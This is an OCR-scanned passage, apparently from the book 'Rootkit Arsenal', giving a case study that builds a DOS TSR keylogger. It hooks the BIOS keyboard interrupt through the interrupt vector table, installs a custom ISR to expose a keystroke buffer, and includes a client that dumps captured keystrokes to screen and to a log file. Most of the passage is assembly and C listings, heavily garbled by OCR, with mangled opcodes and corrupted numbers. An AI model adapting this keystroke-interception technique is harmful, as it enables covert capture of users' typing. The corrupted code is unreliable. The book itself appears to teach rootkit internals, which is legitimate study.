• Aucun résultat trouvé

Case Study: Logging Keystrokes with a lSI

Dans le document Rootkit Arsenal (Page 70-74)

) {

}

address=IDT_255_ADDRj address>=IDT_091_ADDRj

address=address-IDT_VECTOR_5Z,vector-printf("Nulling %e3d\t%08p\n",vector,address)j _asm

}j

PUSH E5

""" AX,a

""" E5,AX

""" BX,address

""" ES: [8XJ,AX INC 8X INC BX

""" ES: [BXI,AX POP ES

Case Study: Logging Keystrokes with a lSI

Now let's take our manipulation of the IVT to the next level. Let's alter entries in the IVT so that we can load a TSR into memory and then commu-nicate with it. Specifically, I'm going to install a TSR that logs keystrokes by intercepting BIOS keyboard interrupts and then stores those keystrokes in a global memory buffer. Then I'll run a client application that reads this buffer and dumps it to the screen.

>

Note: For a complete listing, see HookTSR in the appendix.

The TSR's installation routine begins by setting up a custom, user-defined, interrupt service routine (in IVT slot number 187). This ISR will return the segment selector and effective address of the buffer (so that the client can figure out where it is and read it).

_install:

lEA DX,~etBufferAddr

""" ex,cs

""" os,ex

""" AH,25H

""" Al,lB7 INT 21H

Next, the TSR saves the address of the BIOS keyboard ISR (which services INT ex9) so that it can hook the routine. The TSR also saves the address of

Port I

I

41

Chapter 2 / Into the Catacombs: IA-32

the 1NT 0x16 ISR, which checks to see if a new character has been placed in the system's key buffer. Not every keyboard event results in a character being saved into the buffer, so we'll need to use 1NT 0x16 to this end.

/'OJ AH,35H /'OJ Al,99H

!NT 21H

/'OJ WORD PTR _oldISR[0],BX /'OJ WORD PTR _oldISR[2],ES

/'OJ AH,35H /'OJ Al,l6H INT 21H

/'OJ WORD PTR _chkISR[0],ax /'OJ WORD PTR _chkISR[2],ES

LEA OX,_hookBIOS /'OJ CX,CS /'OJ OS,CX /'OJ AH,25H /'OJ Al,99H INT 21H

; set up first ISR (Vector 187 = 8x8B)

Once the installation routine is done, we terminate the TSR and request that DOS keep the program's code in memory. DOS maintains a pointer to the start of free memory in conventional memory. Programs are loaded at this position when they are launched. When a program terminates, the pointer typically returns to its old value (making room for the next program). The 0x31 DOS system call increments the pointer's value so that the TSR isn't overwritten.

/'OJ AH,31H /'OJ Al,ElH /'OJ OX, 20ElH INT 21H

As mentioned earlier, the custom ISR, whose address is now in IVT slot 187, will do nothing more than return the logical address of the keystroke buffer (placing it in the

ox:

S1 register pair) .

...RetBufferAddr:

STI /'OJ OX,CS LEA OI,_buffer IRET

The ISR hook, on the other hand, is a little more interesting. We saved the addresses of the 1NT 0x9 and 1NT 0x16 ISRs so that we could issue manual far calls from our hook. This allows us to intercept valid keystrokes without interfering too much with the normal flow of traffic.

42

I

Po rf I

Chapter 2 I Into the Catacombs: IA-32

j far call to old BIOS routine

j check system kbd buffer

j need to adjust OS to access data

jz _hb_Exit j if ZFa1, buffer is eqlty (no new key character) LEA ax,_buffer

PUSH 51

!Of

51, I«lRD PTR Lindex]

POI BYTE PTR [ax+SI],AL INC 51

I""

I«lRD PTR Lindex], 51

POP 51 hb_Exit:

f<POS POP AX POP ax STl IRET

One way we can test our TSR is by running the IVT listing code presented in the earlier case study. Its output will display the original vectors for the ISRs that we intend to install and hook.

--Dullping IVT fran bottan

up---eee eeeeeeee [CS: IP]=[eeA7, 1868]

888488ge [CS: IP]=[ee79, 9188]

[CS:IP]-[929C,948A] (we'll hook this ISR) 92eceeee [CS:IP]-[eee9,eee9] (we'll install a ISR here)

Once we run the tsr. com program, it will run its main routine and tweak the IVT accordingly. We'll be able to see this by running the listing program one more time:

---Dullping IVT fran bottan

up---eeeeeeee [CS: IP]a[eeA7, 1868]

888488ge [CS: IP]-[ee79, 9188]

Po rt I

I

43

Chapter 2 / Into the Catacombs: IA-32

00240000 [CS:IP]=[11F2,9319] (changed to our ISR) 187 92eceeee [CS:IP]=[11F2,9311] (new ISR installed here)

As we type in text on the command line, the TSR will log it. On the other side of the fence, the driver function in the TSR client code gets the address of the buffer and then dumps the buffer's contents to the console_

void emptyBuffer() {

44

I

Po rt I

\ollRD bufferCS j

\ollRD bufferlPj BYTE crtIO[SZ_BUFFER]j

\ollRD indexj

\ollRD valuej

//segment address of global buffer //offset address of global buffer //buffer for screen output //position in global memory / /value read from global memory //start by getting the address of the global buffer

}

PUSH OX PUSH 01 INT ISR_COOE I'rN bufferCS, OX I'rN bufferlP,OI POP 01 POP OX

printf("buffer[CS,IP]=%94X,%94X\n",bufferCS,bufferIP)j //move through global memory and harvest characters for(index=9jindex<SZ_BUFFERjindex++)

{ { PUSH ES PUSH BX PUSH SI I'rN ES,bufferCS I'rN BX,bufferlP I'rN SI,index

/la) 8X,SI PUSH OS I'rN ex,ES I'rN os,ex I'rN SI,OS: [8X]

POP OS I'rN value,SI

POP SI POP BX POP ES }

crt10[index]=(char)valuej

//display the harvested chars printBuffer(crt10,SZ_BUFFER)j putlnLogFile(crt10,SZ_BUFFER)j returnj

Chapter 2 / Into the Catacombs: IA-32

}/*end emptyBuffer()----------------------*/

The TSR client also logs everything to a file named $$KLOG. TXT. This log file includes extra keycode information such that you can identify ASCII control codes.

kdos[Carriage return][End of Text]

echo See you in Vegas! [Carriage return]

tsrclient[Carriage return]

Dans le document Rootkit Arsenal (Page 70-74)